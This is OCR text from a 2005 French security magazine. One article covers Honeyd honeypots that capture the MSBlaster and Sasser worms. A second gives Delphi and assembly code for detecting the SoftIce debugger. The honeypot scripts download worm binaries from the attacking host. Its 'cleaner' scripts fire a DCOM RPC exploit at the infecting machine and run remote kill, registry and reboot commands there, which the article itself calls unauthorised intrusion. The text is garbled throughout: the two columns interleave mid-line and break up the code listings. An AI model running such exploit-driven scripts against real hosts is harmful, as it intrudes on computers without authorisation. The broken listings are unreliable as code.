le système qui se trouve à l'adresse
www.google.com – en résultat, l'in-
trus se connectera au moteur de
recherche. Par contre, grâce à la
ligne 18, les paquets adressés au
port TCP 23 de la machine virtuelle
windows seront envoyés sur le port Figure 4. La localisation du honeypot dans un réseau

hakin9 N o 3/2005 www.hakin9.org 53


paramètres -u et -g) – cela permet-
Listing 4. Le contenu du fichier config2 tra d'éviter les problèmes relatifs
1: create default
aux droits d'accès aux scripts
2: set default personality "Microsoft Windows 2000 Professional" et répertoires utilisés.
3: add default tcp port 135 open Maintenant, il faut faire en sorte
4: add default tcp port 445 open que notre honeypot réponde par
5: set default default tcp action reset
son adresse matérielle aux requêtes
6: set default default udp action reset
ARP, adressées aux ordinateurs
portant les IPs 10.0.0.10, 10.0.0.11
et 10.0.0.12. Pour cela, nous pou-
Listing 5. Le contenu du fichier config3 vons nous servir du programme
arpd, écrit par l'auteur de Honeyd
1: create default et disponible sur son site. Dans notre
2: set default personality "Microsoft Windows 2000 Professional"
exemple, nous lançons arpd avec les
3: add default tcp port 135 open
4: add default tcp port 445 open
paramètres suivants :
5: add default tcp port 4444 §
"/bin/sh scripts/MSBlaster_Catcher.sh $ipsrc $ipdst" # arpd 10.0.0.10-10.0.0.12
6: add default tcp port 9996 §
"/bin/sh scripts/Sasser_Catcher.sh $ipsrc $ipdst"
Finalement, nous devons tester
7: set default default tcp action reset
8: set default default udp action reset
le honeypot, c'est-à-dire scanner
et établir quelques connexions avec
nos nouveaux systèmes virtuels.
Peu importe si nous le faisons à par-
Listing 6. Le script MSBlaster_Catcher.sh tir d'un ordinateur derrière le routeur
ou à l'intérieur de notre réseau.
#!/bin/sh L'exemple présenté n'exploite
que quelques possibilités principales
DATE=`date +%s`
mkdir /worms/MSBlaster/$1-$2-$DATE
offertes par Honeyd qui, en fait, est
cd /worms/MSBlaster/$1-$2-$DATE beaucoup plus complexe. Il permet
d'émuler des réseaux entiers (jus-
tftp $1 <<EOF qu'à 65 000 de stations !) utilisant
get msblast.exe
des routeurs virtuels et de créer des
quit
EOF
systèmes dynamiques modifiant la
configuration en fonction du fait qui
et quand s'y connecte. Pourtant,
Listing 7. Le script Sasser_Catcher.sh pour lutter contre les vers de réseau
et les virus, ces fonctions de base
#!/bin/sh sont suffisantes.
DATE=`date +%s`
mkdir /worms/Sasser/$1-$2-$DATE
Vers dans le miel
cd /worms/Sasser/$1-$2-$DATE Si nous voulons que notre honeypot
fonctionne correctement, il ne faut
while read LINE pas oublier de le placer dans le lieu
do
approprié du réseau et de définir les
LINE=`echo "$LINE" | grep "get"`
méthodes d'accès. Prenons comme
if [ "$LINE" ] exemple le réseau présenté sur la
then Figure 4. Bien sûr, le meilleur envi-
FILENAME=`echo "$LINE" | cut -f3 -d" " | cut -f1 -d">"` ronnement pour capturer les vers in-
Défense

formatiques est un segment séparé


ncftp -u anonymous -p user -P 5554 $1 <<EOF
bin
du réseau, mais pour les besoins de
get $FILENAME cet article, nous nous servirons d'un
bye réseau entier.
EOF C'est une configuration très sim-
ple et très souvent utilisée. Elle se
break
fi
compose de deux sous-réseaux :
done la zone démilitarisée qui embrasse
les serveurs de courrier et de Web

54 www.hakin9.org hakin9 N o 3/2005


Honeypots – leurre contre les vers

et le réseau interne contenant les


Installation et configuration du serveur SSH dans le stations de travail utilisées par les
employés de l'entreprise. Les deux
système Windows réseaux sont connectés à Internet
L'installation du serveur OpenSSH dans les systèmes Windows 2000 et XP est assez
à l'aide d'un routeur, par contre les
facile. Pour ce faire, il faut effectuer les actions suivantes :
stations de travail sont protégées
• Ouvrez une session locale à partir du compte Administrator et lancez le programme par un pare-feu. Pour faciliter notre
d'installation. tâche, admettons que l'entreprise ait
• Acceptez les termes de la licence, sélectionnez les composants que vous voulez obtenu la classe C des adresses IP
utiliser (dans notre cas Shared Tools et Server sont suffisants) et le répertoire cible – de 62.x.x.0 à 62.x.x.254.
(vous pouvez laisser celui par défaut C:\Program Files\OpenSSH). Comme vous pouvez voir sur
• Lancez le shell et accédez au répertoire C:\Program Files\OpenSSH\bin.
la Figure 4, le honeypot a été ins-
• Créez le fichier de droits pour les groupes d'utilisateurs dans etc\group à l'aide de
tallé sur le sous-réseau extérieur
la commande mkgroup -l >> ..\etc\group (pour les groupes locaux) et, éven-
et a obtenu l'adresse 62.x.x.11. Les
tuellement mkgroup -d >> ..\etc\group (pour les groupes de domaine).
• Ajoutez au fichier etc\passwd les utilisateurs qui pourront ouvrir les sessions dans adresses de 62.x.x.1 à 62.x.x.11 sont
le système via le serveur SSH. La syntaxe de la commande appropriée est la affectées aux machines réelles, par
suivante : mkpasswd -l|-d [-u <username>]. Quant à nous, nous voulons ajouter contre les autres sont utilisées par le
l'utilisateur local Administrator, tapons donc la commande mkpasswd -l -u Admi- programme Honeyd. Grâce à cela, le
nistrator >> ..\etc\passwd. réseau contient jusqu'à 243 machi-
• Lancez le serveur à l'aide de la commande net start opensshd et en vous con- nes virtuelles qui servent de leurre
nectant à celui-ci à partir d'un autre ordinateur du réseau (le mieux, à partir de aux vers – cela permet d'augmenter
votre honeypot), vérifiez s'il fonctionne correctement. d'une façon importante la probabi-
• Configurez le serveur de façon à ce qu'il authentifie l'utilisateur Administrator au
lité que le ver s'attaquera au piège
moyen des clés cryptographiques, et pas à l'aide du mot de passe.
et pas à un serveur de service ou
• Lancez le shell et accédez au répertoire C:\Program Files\OpenSSH\bin,
à une station de travail.
• Générez une paire de clés cryptographiques par le biais de la commande ssh-
keygen -t dsa. Quand il vous est demandé d'entrer son emplacement, laissez
Pour que le honeypot puisse
le chemin par défaut /home/Administrator/.ssh/id_dsa. Le champ du mot de nous protéger efficacement contre
passe doit rester vide. En résultat, dans le répertoire C:\Documents and Settings\ les vers de réseau, il faut, lors de sa
Administrator\.ssh, les fichiers id_dsa (clé privée) et id_dsa.pub (clé publique) sont configuration et installation prendre
créés. en compte toutes les étapes de son
• Ajoutez la clé publique au fichier avec les clés confirmées : tout en étant dans le fonctionnement. Commençons par
répertoire C:\Documents and Settings\Administrator\.ssh exécutez la commande obtenir le code d'un ver.
copy /b id _ dsa.pub authorized _ keys.
• Transférez le fichier avec la clé privée du serveur au honeypot et mettez-la dans
Phase d'infection
le répertoire .ssh de l'utilisateur, avec les droits d'accès avec lesquels vous lancez
En phase d'infection, nous devons
le programme Honeyd. Dans notre cas, c'est l'utilisateur root et le répertoire /root/
tromper le ver de façon à ce qu'il
.ssh. Il faut encore affecter au fichier les droits appropriés : chmod 400 id _ dsa.
• Vérifiez la configuration en vous connectant au serveur : ssh -l Administrator croit qu'il a à faire à un système vul-
server. nérable et lui permettre d'effectuer
• En cas de problèmes ou s'il vous est encore demandé d'entrer le mot de passe, l'attaque. Grâce à cela, nous per-
il faut vérifier la configuration du serveur SSH (le fichier C:\Program Files\ mettons au programme malicieux
OpenSSH\etc\sshd_config) et, en cas de besoin, affecter les valeurs suivantes de passer à la phase suivante,
aux paramètres mentionnés : StrictModes no, PubkeyAuthentication yes, c'est-à-dire au processus de pro-
AuthorizedKeysFile .ssh/authorized _ keys. Si les problèmes persistent, vous pagation, et en même temps, nous
devez vous référer à la documentation fournie avec le programme. détecterons l'attaque et la source
de provenance. Vu que nous nous
intéressons aux vers MSBlaster
Listing 8. Le fichier de configuration config4 et Sasser, nous devons donc ému-
ler les systèmes Windows 2000 ou
1: create default
XP qui donnent accès aux servi-
2: set default personality "Microsoft Windows 2000 Professional"
3: add default tcp port 135 open ces vulnérables. Pour cela, nous
4: add default tcp port 445 open pouvons exploiter la confi guration
5: add default tcp port 4444 § présentée dans le Listing 4.
"/bin/sh scripts/MSBlaster_Cleaner.sh $ipsrc $ipdst" En résultat, le programme Ho-
6: add default tcp port 9996 §
neyd créera un profil de l'ordinateur
"/bin/sh scripts/Sasser_Cleaner.sh $ipsrc $ipdst"
7: set default default tcp action reset virtuel ayant les caractéristiques du
8: set default default udp action reset système d'exploitation Microsoft Win-
dows 2000 Professional, qui attendra

hakin9 N o 3/2005 www.hakin9.org 55


(qu'il obtient à partir du programme
Listing 9. Le script MSBlaster_Cleaner.sh Honeyd sous forme d'arguments de
#!/bin/sh
la ligne de commandes) et de la date
actuelle présentée au format défi-
./dcom_exploit -d $1 -t 1 -l 4445 << EOF nissant le nombre de secondes qui
se sont écoulées depuis le 1 janvier
taskkill /f /im msblast.exe /t
1970. Ensuite, il passe à ce réper-
del /f %SystemRoot%\System32\msblast.exe
toire (ligne 5) et par l'intermédiaire
du client du service TFTP se con-
echo “Windows Registry Editor Version 5.00" > c: \cleaner.reg necte à l'intrus (ligne 7). Les lignes
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] \ 8 et 9 contiennent les commandes
>> c:\cleaner.reg
transférées au programme tftp. Les
echo "windows auto update" = "REM msblast.exe" >> c: \cleaner.reg
regedit /s c:\cleaner.reg
deux premières sont chargées par
del /f c:\cleaner.reg le fichier msblast.exe, par contre les
deux dernières terminent la session.
shutdown -r -f -t 0 Le script Sasser_Catcher.sh
fonctionne de la même façon, mais
exit
EOF
vu la spécificité du ver Sasser, c’est
plus compliqué. Le nom du fichier du
date=`date` programme envoyé se compose de
echo "$date: L'ordinateur $1 a été nettoyé du ver MSBlaster" \ deux parties et se présente ainsi :
>> /worms/cleanup
<numéro>_up.exe, où le champ
<numéro> est une valeur numéri-
les connexions TCP sur les ports sont démarrés avec deux paramè- que aléatoire. Alors, pour charger le
destinés aux services DCOM RPC tres $ipsrc et $ipdst qui signifient fichier du programme à partir du sys-
et LSASS. Le profil porte le nom de- les adresses IP respectivement de tème de l'intrus (les lignes 15 à 19),
fault. C'est un nom spécial, imposant l'ordinateur de l'attaquant et de la le script doit d'abord connaître son
l'utilisation de ce profil pour toutes les victime, transférées aux scripts par nom complet en lisant et analysant
adresses IP auxquelles aucun autre le programme Honeyd. La tâche de les commandes données par Sasser
profil n'a été affecté. Dans ce cas, ce ces scripts consiste à simuler le pro- (les lignes 7 à 13).
sera toute la plage d'adresses gérées cessus de propagation et à charger Comme il est facile à remarquer,
par Honeyd. Les programmes Honeyd à partir de l'ordinateur de l'intrus le les scripts ci-dessus ont été créés
et arpd sont démarrés à l'aide des code du ver. Leur contenu est pré- à partir des informations sur la pro-
commandes suivantes : senté dans les Listings 6 et 7. pagation des vers (cf. le Listing 1). Le
Le script MSBlaster_Catcher.sh programme Honeyd les exécutera au
# honeyd -d -u 0 -g 0 \ crée (la ligne 4) dans le répertoire moment où les connexions aux ports
-f config2 62.x.x.12-62.x.x.254 /worms/MSBlaster un sous-réper- 4444 ou 9996 seront établies. À la
# arpd -d 62.x.x.12-62.x.x.254 toire portant le nom composé des suite de leur actions – dans le cas
adresses IP de l'ordinateur atta- où la connexion est établie par le ver
Phase de propagation quant et de l'ordinateur-victime MSBlaster ou Sasser – on obtient les
Pour que le ver passe à l'étape de
propagation, il faut simuler la conta- Listing 10. Le script Sasser_Cleaner.sh
mination réussie. Dans le cas de MS-
Blaster et Sasser c'est très simple #!/bin/sh

et cela consiste à permettre aux vers


ssh -l Administrator $1 << EOF
d'établir une connexion aux shell liés
aux ports TCP 4444 et 9996 sur tftp -i 62.x.x.11 get f-sasser.exe C:\f-sasser.exe
l'ordinateur attaqué. Il faut donc dé- C:\f-sasser.exe
Défense

velopper le ficher de configuration du attrib -R C:\f-sasser.exe


del C:\f-sasser.exe
programme Honeyd du Listing 4 de
exit
façon présentée dans le Listing 5.
Deux nouvelles lignes, portant EOF
les numéros 5 et 6, ont été créées.
Dans les systèmes virtuels, elles date=`date`
echo "$date: L'ordinateur $1 a été nettoyé du ver Sasser" \
lient aux 4444 et 9996 les scripts
>> /worms/cleanup
appelés MSBlaster_Catcher.sh et
Sasser_Catcher.sh. Ces scripts

56 www.hakin9.org hakin9 N o 3/2005


Honeypots – leurre contre les vers

fichiers binaires contenant leur code qui travaille par défaut sur ce port, commandes dans le système à partir
exécutable. Ces fichiers peuvent être et ensuite, cette adresse IP essaie duquel l'attaque est effectuée ou
analysés et exploités dans la créa- de se connecter à un port élevé pas à télécharger et lancer le programme
tion des vaccins pour les program- standard, cela peut signaler une ten- anti-virus. Dans le cas des ordina-
mes anti-virus et les modèles pour tative de connexion au shell lancé teurs que nous administrons (nous
les systèmes IDS. Ils peuvent être par un exploit. Il faudra donc lier avons les droits d'administration),
aussi lancés dans un environnement à ce port non standard un script d'en- il est préférable d'utiliser pour cela
séparé, sous contrôle, pour mieux registrement et analyser les données des programmes pour le travail dis-
connaître leur fonctionnement. qui y seront envoyées. C'est de cela tant – ici, c'est l'application SSH.
dont dépendent toutes nos démar- Paradoxalement, nous pouvons
Parasites inconnus ches futures. aussi effectuer le nettoyage auto-
Nous savons déjà capturer les vers matique dans les systèmes dans
connus – nous savons comment ils Réponse à l'attaque lesquels nous n'avons pas les droits
se propagent et quelles vulnérabilités Dans certaines situations, par exem- d'administration : en exploitant la
ils exploitent. Mais que faire en cas de ple lorsque nous administrons un même vulnérabilité grâce à laquelle
nouveaux vers, pas encore connus ? grand réseau composé de plusieurs le ver a accédé à l'ordinateur. Bien
Est-il possible de les capturer à l'aide stations de travail tournant sous le sûr, ce n'est pas toujours facile parce
des honeypots d'une façon similaire contrôle des systèmes Windows qu'il faut posséder le programme ap-
à celle présentée ci-dessus ? 2000/XP, il est préférable de cons- proprié (exploit) qui permettra d'utili-
Oui, c'est possible. Mais c'est truire un honeypot qui, après la dé- ser la faille. D'habitude, cela ne pose
beaucoup plus fastidieux parce qu'il tection d'un programme malicieux, pas de problèmes – très souvent la
faut prendre connaissance du mode pourra le supprimer automatique- description de l'erreur est généra-
de fonctionnement du ver donné ment. Évidemment, les mises à jour lement connue. Même si nous ne
(ce qui implique la nécessité de régulières des bases de données sommes pas capables de concevoir
surveiller constamment les événe- de nos programmes anti-virus et le l'exploit nous-mêmes, il est probable
ments qui ont lieu sur le honeypot). respect des règles de cyberhygiène qu'il sera accessible sur un site ou
Tout d'abord, nous devons préparer sont aujourd'hui la meilleure façon de une groupe de discussion consacrés
les pièges appropriés qui simuleront se protéger contre les vers et virus. à la sécurité informatique. Néan-
le fonctionnement du plus grand Mais peut-être les vers qui seront moins, il faut rester prudent parce
nombre d'applications et enregistre- créés dans le futur seront si avancés que ces types d'actions ne sont rien
ront toutes les données qui lui sont que l'élaboration de leur modèle uni- d'autre que une intrusion non autori-
envoyées. Pour cela, nous pouvons versel sera très difficile et fastidieux, sée dans un ordinateur. En dépit de
nous servir d'un script similaire à ce- voire impossible. Même aujourd'hui, notre bonne volonté, ces démarches
lui présenté dans le Listing 3. depuis l'apparition du parasite jus- sont moralement douteuses, et dans
Une fois le honeypot construit qu'à la création du vaccin approprié, la plupart des cas, illégales.
et démarré, il faut surveiller régu- cela prend encore du temps. Nous allons montrer en pratique
lièrement les informations collec- En cas d’attaque par MSBlaster, les deux méthodes. Le honeypot
tées pour pouvoir réagir de façon Sasser et plusieurs autres vers, reconfiguré supprimera le ver MS-
appropriée. Par exemple, si nous il est assez facile de construire un Blaster en accédant à l'ordinateur
remarquons que l'un des ports TCP honeypot qui sera capable de les infecté via la faille dans le service
reçoit des chaînes de caractères res- supprimer automatiquement. Cela DCOM RPC, par contre les systè-
semblant à une tentative de débor- est dû au fait que la suppression du mes contaminés par Sasser seront
dement du tampon dans l'application ver est réduite à exécuter quelques nettoyés à l'aide du programme Sas-
ser Removal Tool, créé par la société
F-Secure.
Sur le réseau : Au-début, nous devons élargir la
configuration de notre réseau de la
• http://www.honeyd.org – le site du programme Honeyd,
Figure 4. Les serveurs et les stations
• http://sshwindows.sourceforge.net – le site du port de l'application OpenSSH pour
de travail seront dotés du service
les systèmes Windows,
• http://freessh.org – la liste des serveurs et clients SSH pour différents systèmes SSH qui authentifie les utilisateurs
d'exploitation, à l'aide de clés cryptographiques (ce
• http://downloads.securityfocus.com/vulnerabilities/exploits/oc192-dcom.c – l'ex- processus est présenté dans l'En-
ploit utilisant la vulnérabilité dans RPC DCOM, cadré Installation et configuration
• http://www.f-secure.com/v-descs/sasser.shtml – Sasser Removal Tool, du serveur SSH dans le système
• http://www.sysinternals.com/ntw2k/freeware/pstools.shtml – le kit d'outils gratuits Windows). De plus, nous lançons
pour les systèmes Windows NT et 2000. sur le honeypot le service TFTP qui
permet de télécharger le programme

hakin9 N o 3/2005 www.hakin9.org 57


Sasser Removal Tool sous forme préparera le fichier cleaner.reg con- l’avons présentée est assez dan-
du fichier f-sasser.exe. Il faut aussi tenant les commandes pour l'Éditeur gereuse et permettra à l'intrus qui
modifier le fichier de configuration du registre du système Windows, qui s'introduira dans le système-piège
du programme Honeyd de la façon supprimera du registre les inscrip- d'accéder à tous les ordinateurs de
présentée dans le Listing 8. tions lançant le ver pendant le dé- notre réseau.
Comme vous voyez, les scripts marrage de l'ordinateur. Aux lignes La dernière chose, la plus im-
responsables de l'interception du 12 et 13, ce fichier sera supprimé. portante : pour que le honeypot
code des vers ont été remplacés Les lignes 14 à 16 peuvent contenir fasse bien sa tâche et protège effi-
respectivement par les scripts les commandes supplémentaires cacement le système informatique,
MSBlaster_Cleaner.sh et Sasser_ – par exemple celles informant l'utili- il doit être correctement construit, ins-
Cleaner.sh. Alors, si l'un des ordi- sateur sur la détection et l'élimination tallé dans l'endroit approprié et tenu
nateurs-leurres virtuels est attaqué du ver ou, comme dans la ligne 15, à jour. Si non, il sera inutile et pour-
par le ver, les opérations contenues redémarrant le système. Grâce aux rait être dangereux. En même temps,
dans ces scripts seront exécutées. commandes comprises entre les il ne faut pas oublier que le système
Le premier script, présenté dans le lignes 20 et 21, après chaque sup- honeypot n'est qu'une partie de l'ar-
Listing 9, se sert de l'exploit utilisant pression du ver, le script ajoutera chitecture de la sécurité informatique
la vulnérabilité du service DCOM au fichier /worms/cleanup une ins- qui, en tant que telle, est composée
RPC et permettant d'exécuter les cription avec la date d'opération et de plusieurs éléments. Il n'est pas
commandes quelconques dans le l'adresse IP de l'ordinateur nettoyé. capable non plus de remplacer les
système attaqué. Contrairement Le script supprimant le ver Sas- moyens de sécurité tels que pare-
à MSBlaster, ces commandes n'ont ser, présenté dans le Listing 10, feux, systèmes IDS ou de bonnes
pas de caractère destructif, mais ont fonctionne d'une façon un peu dif- habitudes. n
pour but d'éliminer le ver. férente : pour se connecter au shell
Sous cette forme, vu que le du système Windows et exécuter
script utilise les commandes taskkill les opérations qui éliminent Sasser, Projet Honeynet
Le projet Honeynet (http://honeynet.
et shutdown (qui ne sont pas disponi- il utilise le programme SSH. Le
org) est l’une des applications pra-
bles dans Windows 2000), il permet nettoyage du système est réalisé
tiques les plus intéressantes des
seulement d'éliminer les vers des à l'aide du programme f-sasser.exe
honeypots. Ses membres utilisent –
systèmes Windows XP. Pourtant, chargé à partir du honeypot. à des fins d’études – les réseaux en-
il n'est pas trop difficile de modifier le Le script Sasser_Cleaner.sh se tiers des honeypots à une très haute
script de façon à ce qu'il utilise des connecte à l'ordinateur infecté con- interaction. Honeynet est une organisa-
commandes similaires disponibles formément à la commande contenue tion non-profit dont la tâche principale
dans le kit Windows 2000 Resource dans la ligne 3, et ensuite, exécute est de mener les recherches sur la sé-
Kit ou PsTools. les commandes des lignes 5 jusqu'à curité des réseaux informatiques. Les
À la ligne 3 du script MSBlas- 9. À la fin, il enregistre dans le fichier objectifs qu’elle veut réaliser sont l’aug-
ter_Cleaner.sh, un exploit est lancé. /worms/cleanup la date d'événement mentation de la conscience des utilisa-
teurs d’Internet (en présentant les cas
Cet exploit, conformément au para- et l'adresse de l'ordinateur nettoyé.
d’intrusions dans les systèmes réels),
mètre -d $1, attaque l'ordinateur ayant
l’éducation (conférences, formations)
l'adresse IP transférée du programme Est-ce sûr ? et les études scientifiques (fournir les
Honeyd par l'intermédiaire de la varia- Bien que la méthode d'élimination méthodes permettant de collecter les
ble $ipsrc et affichée dans le script des vers de réseau présentée soit informations). Actuellement, le projet
comme variable $1. Le paramètre -t très efficace, il faut la considérer plu- utilise les réseaux des honeypots de
1 détermine que le système d'exploi- tôt comme curiosité et l'utiliser avec la deuxième génération, capables de
tation installé sur l'ordinateur est Win- prudence. Il ne faut pas oublier les collecter automatiquement et d’analy-
dows XP, par contre -l 4445 dit que trois principes essentiels. ser les données.
le shell attendant la commande de la Premièrement, il faut rendre im- Les membres de Honeynet Project
part de l'intrus sera lancée sur le port possible le nettoyage des ordinateurs publient leur propre distribution Linux
bootable (Honeywall). Celle-ci permet
TCP portant le numéro 4445. qui ne sont pas sous notre protection.
Défense

la configuration rapide et facile des


Toutes les commandes exé- Pour ce faire, nous pouvons limiter la
réseaux des honeypots composés
cutées sur la machine attaquée sortie via honeypot de notre réseau
ainsi que l’enregistrement détaillé des
(et dans ce cas nettoyée) se trouvent à l'aide d'un pare-feu ou modifier les événements produits dans ces systè-
entre les lignes 4 à 17. Conformé- scripts du programme Honeyd de fa- mes. Le disque comprend également
ment à ces inscriptions, en premier çon à ce qu'il entreprenne les actions tous les outils nécessaires pour mener
lieu, le processus du ver MSBlaster uniquement envers les ordinateurs de les études portant sur la sécurité des
(ligne 5) est terminé et son fichier la liste que nous avons créée. systèmes informatiques aussi bien
exécutable supprimé (ligne 7). En- Deuxièmement, la configura- réels que virtuels.
suite (les lignes 9 à 11), le script tion du service SSH telle que nous

58 www.hakin9.org hakin9 N o 3/2005


Protéger les logiciels
Windows contre les pirates
informatiques
Jakub Nowak

La travail du développeur qui


crée des applications shareware
devient tôt ou tard la proie des
pirates informatiques. Il arrive
souvent qu'un crack ou un
keygen apparaisse sur le net
le jour de la sortie du logiciel.
Il existe cependant les méthodes
efficaces permettant de protéger
le code contre les voleurs.

L
es auteurs des logiciels commerciaux actuellement installé dans le système et chargé
ne sont pas capables ou ne voient pas dans la mémoire. En cas de détection, vous
la nécessité de sécuriser leurs œuvres pouvez décider du comportement de votre logi-
contre le craquage. Bien sûr, les systèmes de ciel. Toutes les méthodes présentées marchent
sécurisation idéaux ne permettant pas aux pi- sans aucun problème sous Windows 9x mais
rates de créer un patch ou un générateur de dans le cas des autres versions de Windows
clés n'existent pas. Si cependant vous tentez (ME/NT/XP/2000), le fonctionnement de cer-
de le rendre le plus compliqué possible, il se taines d'entre elles peut être moins performant.
peut que le pirate renonce à votre logiciel Cela est dû aux niveaux de sécurité plus élevés
et qu'il en choisisse un autre insuffisamment dans les versions plus récentes de Windows
protégé. Examinons donc de près les tech-
niques grâce auxquelles votre application ne
sera pas une victime facile. Cet article explique...
• comment sécuriser votre propre logiciel contre
Détecter SoftIce le craquage,
Le pirate informatique ne peut pas se passer
• comment détecter la présence des débogueurs
du débogueur. C'est grâce à lui qu'il peut suivre SoftIce et OllyDbg,
instruction par instruction le code du logiciel
Défense

• comment chiffrer les messages d'écran,


dans l'assembleur. Il existe plusieurs logiciels • la méthode d'utilisation de dummy opcodes.
remplissant cette fonctionnalité mais dans le
milieu des pirates, c'est SoftIce de la société Ce qu'il faut savoir...
NuMega qui est le numéro 1. C'est un débo-
gueur tournant dans l'environnement privilégié • Delphi,
(ring 0). • l'assembleur,
Pour sécuriser votre code contre un éven- • et savoir utiliser les débogueurs sous Win-
tuel déboguage, vous pouvez employer quel- dows.
ques trucs permettant de vérifier si SoftIce est

60 www.hakin9.org hakin9 N o 3/2005


Protection contre les pirates informatiques

l'installation des changements au


Listing 1. Détecter le débogueur en trouvant ses pilotes dans la registre en y ajoutant ses propres
mémoire lignes. Les clés modifiées se trou-
if
vent dans l'arborescence HKEY _ LO-
CreateFileA('\\.\SICE', GENERIC_READ or GENERIC_WRITE, CAL _ MACHINE et ce sont :
FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, 0) <> INVALID_HANDLE_VALUE • SOFTWARE\Microsoft\Windows\
then
CurrentVersion\Uninstall\
begin
SoftICE ,
showmessage(‘SoftIce détecté!’);
end; • SOFTWARE\NuMega\SoftICE .

Il suffit donc d'appeler la fonction


Listing 2. Ouvrir les clés SoftIce dans le registre à l'aide de la fonction RegOpenKeyEx (voir le Listing 2)

WinAPI RegOpenKeyEx et d'ouvrir la clé définie dans le


registre – si celle-ci n'existe pas,
if la fonction retournera la valeur ER-
RegOpenKeyEx(HKEY_LOCAL_MACHINE,
ROR _ SUCCESS. Pour la clé SOFTWARE\
'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\SoftICE',
NuMega\SoftICE , procédez de la
0,KEY_READ,clé) <> ERROR_SUCCESS
then même manière.
begin Une autre technique rela-
showmessage('SoftIce détecté!'); tivement simple de détection
end;
du débogueur SoftIce consiste
à trouver une ligne dans le fichier
autoexec.bat. Lors de l'installation,
Listing 3. Vérification de la ligne SoftIce dans le fichier autoexec.bat SoftIce y ajoute la ligne définis-
sant le chemin vers winice.exe (C:\
var f: textfile; PROGRA~1\NUMEGA\SOFTIC~1\
s, aide: string;
WINICE.EXE) étant le fichier per-
l: integer;
mettant de charger le débogueur
begin dans la mémoire. Cette méthode a
assignfile(f, 'c:\autoexec.bat'); été présentée sur le Listing 3.
reset(f); Le débogueur peut être égale-
while not eof(f) do
ment détecté grâce à des méthodes
begin
readln(f, s);
plus compliquées. L'une des techni-
for l:=1 to length(s) do ques possibles consiste à employer
s[l]:=Upcase(s[l]); les exceptions. Pour les initialiser
aide:=s; et les utiliser, choisissez les fonctions
if aide ='C:\PROGRA~1\NUMEGA\SOFTIC~1\WINICE.EXE' then
API comme, par exemple, SetUnhan-
begin
dledExceptionFilter ou UnhandledEx-
showmessage(‘SoftIce détecté!’);
end; ceptionFilter.
end; SoftIce intercepte tous les ap-
closefile(f) pels INT 3. Si le registre EBP a la
end;
valeur BCHK et 4 est la valeur du
registre EAX , le débogueur ne per-
met pas d'assigner ExceptionHan-
– certains trucs ne sont tout simple- et sa poignée sera retournée. Dans dler. Au lieu de cela, il retourne la
ment plus valables. le cas contraire, la fonction appelée valeur 0 dans le registre AL . Si le
La première méthode la plus retournera INVALID _ HANDLE _ VALUE , logiciel n'est pas démarré à l'aide
fréquente pour détecter SoftIce ce que veut dire l'absence du pi- de SoftIce, SetUnhandledException-
consiste à détecter ses pilotes – les lote. Pour le pilote ntice.vxd, vous Filter est utilisé pour intercepter les
fi chiers sice.vxd et ntice.vxd. Es- pouvez procéder de la même ma- erreurs et pour continuer à partir de
sayons de les ouvrir en appellant nière. l'adresse indiquée. Si vous utilisez
la fonction WinAPI – CreateFileA Une autre méthode pour détec- SoftIce, celui-ci ne sera pas appelé,
(voir le Listing 1). Si SoftIce (et plus ter un débogueur consiste à trouver ce qui vous permettra de détecter la
précisément sice.vxd) se trouve ses clés dans le registre système de présence du débogueur.
dans la mémoire, le système ne Windows. Tout comme les autres En ce qui concerne la fonction de
permettra pas d'ouvrir le pilote logiciels, SoftIce apporte lors de vérification, le mieux est de l'écrire

hakin9 N o 3/2005 www.hakin9.org 61


en tant que partie assembleur dans
Listing 4. Appeler l'interruption INT 3 le code Delphi (Listing 4). Cette
var
méthode peut être également lé-
Conserver :pointer; gèrement modifiée de sorte que
l'interruption INT 3 soit appelé sans
begin EAX=4 et EBP=BCHK mais avec les
try
registres SI=FG et DI=JM – pour voir
asm
mov Conserver,esp ; la valeur du registre ESP est conservée
le code concerné, reportez-vous au
push offset @suivant ; le descripteur pour Listing 5.
; SetUnhandledExceptionFilter indique Pour détecter SoftIce, il est éga-
; où il faut aller si SI n'est pas détecté lement possible d'utiliser la méthode
call SetUnhandledExceptionFilter ; appeler l'exception
de communication du système avec
mov ebp,'BCHK' ; chargement de la valeur 'BCHK'
; dans le registre EBP
le débogueur. Appelons l'interruption
mov eax, 4 ; la valeur 4 est chargée INT 41 pour le registre EAX=4Fh (voir le
; dans le registre EAX Listing 6). Si SoftIce se trouve dans
INT 3 ; appeler l'interruption INT 3 le système, il reprendra la gestion de
Call ExitProcess ; quitter le logiciel
l'interruption et il entrera la valeur
; après avoir détecté SoftIce
0F386h dans EAX . Notez que cette va-
@suivant: ; c'est ici où l'on va si SoftIce
; n'est pas détecté leur est un identifiant du débogueur
mov esp, Conserver ; restaurer la valeur originale dans le système.
; du registre ESP En utilisant l'interruption INT
push offset @fin
68h, vous détecterez SoftIce de
ret
@fin:
la même manière. Celle-ci doit
ret être appelée pour l'état du registre
AH=43h. Si le débogueur se trouve
end; dans la mémoire, la valeur 0F386h
except end;
sera retournée dans le registre EAX
(voir le Listing 7).
Une autre méthode pour détec-
Listing 5. Une autre méthode pour détecter un débogueur en utilisant ter SoftIce consiste à utiliser IDT (en
l'interruption INT 3 anglais Interrupt Descriptor Table).
IDT est une table où les informations
var sur les interruptions sont stockées
Conserver :pointer;
(voir également l'article de Mariusz
begin
Burdach Quelques méthodes sim-
try ples pour détecter les débogueurs
asm et l'environnement VMware, hakin9
mov Conserver,esp ; la valeur du registre ESP est conservée 2/2005). Cela est requis par la
push offset @suivant ; descripteur pour
méthode de travail du système en
; SetUnhandledExceptionFilter
call SetUnhandledExceptionFilter ; appeler l'exception
mode protégé.
mov eax, 4 ; chargement de la valeur 4 dans EAX Le système Windows crée Inter-
mov si, 'FG' ; chargement de la valeur 'FG' rupt Descriptor Table pour 255 vec-
; dans le registre SI teurs d'interruptions. SoftIce utilise
mov di, 'JM' ; chargement de la valeur 'JM'
les interruptions INT 1 et INT 3. L'idée
; dans le registre DI
INT 3 ; appeler l'interruption INT 3
de cette méthode est de lire depuis la
Call ExitProcess ; quitter le logiciel si SoftIce table IDT les adresses des interrup-
; est détecté tions INT 3 et INT 1 et de soustraire
@suivant: ; c'est ici où l'on va si SI leurs valeurs l'une de l'autre. INT 3 a
Défense

; n'est pas détecté


la valeur 3115h et INT 1 – 30F7h. Après
mov esp, Conserver ; restaurer la valeur originale
; du registre ESP
les avoir soustrait l'une de l'autre,
